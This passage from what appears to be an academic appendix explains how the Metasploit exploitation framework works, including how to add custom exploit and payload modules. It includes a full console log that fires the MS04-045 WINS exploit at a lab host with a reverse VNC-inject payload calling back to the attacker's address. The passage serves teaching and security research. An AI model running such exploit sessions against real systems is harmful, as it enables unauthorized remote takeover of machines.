To select an exploit, the user can issue the command *use exploitname* and show all necessary options with *show options*. These can then be set by issuing the *set* and *setg* commands[6]. After the exploit selection and the setting of all necessary options, a further call to *show payloads* will only display payloads that are compatible with the currently selected exploit.

Using the *set payload name* command, the payload for the attack can be selected and the attack can be launched with the *exploit* command. A full log of a typical attack can be seen next:

```
msf > use windows/wins/ms04_045_wins
msf exploit(ms04_045_wins) > set RHOST 10.0.5.15
RHOST => 10.0.5.15
msf exploit(ms04_045_wins) > set RPORT 42
RPORT => 42
msf exploit(ms04_045_wins) > set payload windows/vncinject/reverse_tcp
payload => windows/vncinject/reverse_tcp
msf exploit(ms04_045_wins) > set lhost 10.0.5.2
lhost => 10.0.5.2
msf exploit(ms04_045_wins) > show options

Module options:

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST  10.0.5.15        yes       The target address
   RPORT  42               yes       The target port


Payload options:

   Name      Current Setting     Required  Description
   ----      ---------------     --------  -----------
   AUTOVNC   true                yes       Automatically launch
                                           VNC viewer if present
   DLL       /...//vncdll.dll    yes       The local path to the
                                           VNC DLL to upload
   EXITFUNC  process             yes       Exit technique: seh,
                                           thread, process
   LHOST     10.0.5.2            yes       The local address
   LPORT     4444                yes       The local port
   VNCHOST   127.0.0.1           yes       The local host to use for
                                           the VNC proxy
   VNCPORT   5900                yes       The local port to use for
                                           the VNC proxy



Exploit target:

   Id  Name
   --  ----
   0   Windows 2000 English


msf exploit(ms04_045_wins) > exploit
```

[6]for more information on the local and global datastores refer to the user-documentation

B.1.2 Kernel-mode exploits in Metasploit

Since the goal of our work ultimately is to exploit device drivers, the exploited code will obviously run in kernel-mode. This requires special payloads to be used. Although Metasploit was originally developed for user-space program exploitation, the recently released version 3.0 of the framework now supports kernel-mode payloads. In order to support the big variety of already available payloads within Metasploit, the framework developers have decided not to use specially crafted payloads for kernel-modes but rather introduce a kernel-wrapper around user-mode payloads. This kernel-wrapper first calls specific functions that set up an environment that allows the execution of user-mode payloads within the kernel.

At the time of this writing, these kernel-wrappers are only supported for Windows systems (XPSP2 and 2K3 SP1). If other systems are to be attacked, the predefined payloads will not work. The users are then forced to write their own payloads to be executed by Metasploit.

Metasploit is based on SVN to allow easy updates of available modules like exploits, payloads, NOP-sledge generators, etc. If one wants to add a custom exploit to the framework, all that has to be done is to add a new ruby-file to the *modules/exploits* sub-directory of the Metasploit root directory. The new exploit-file should contain a class-definition, subclassing one of the Metasploit exploits (e.g. *Msf::Exploit::Remote*) and provide definitions for the methods *check* and *exploit*. The easiest way to insert a new exploit successfully is by copying an existing exploit and modifying the required parts appropriately.

Similar to adding a custom exploit, a new payload can be inserted by adding a ruby-definition into the *modules/pay-*

loads sub-directory. All that must be made sure is to make a call to *register_options* from within the *initialize* method.

Again, modifying an existing payload simplifies the creation a lot.

B.2 Other Frameworks

Very similar to the Metasploit project, SecurityForest's project also contains an exploitation framework. The project's interfaces and possibilities are very comparable to Metasploit, with the small difference that exploits and payloads need not be rewritten in ruby to be usable by the exploitation framework.

Despite this advantage, the SecurityForest's framework is not as popular as the Metasploit project in security expert groups.

Other non-free exploit frameworks, such as the Core Impact framework [6] or Immunity's CANVAS[4], also offer very professional tools for automated penetration tests to aid a user in finding security vulnerabilities in a network, allegedly without the need of security experts.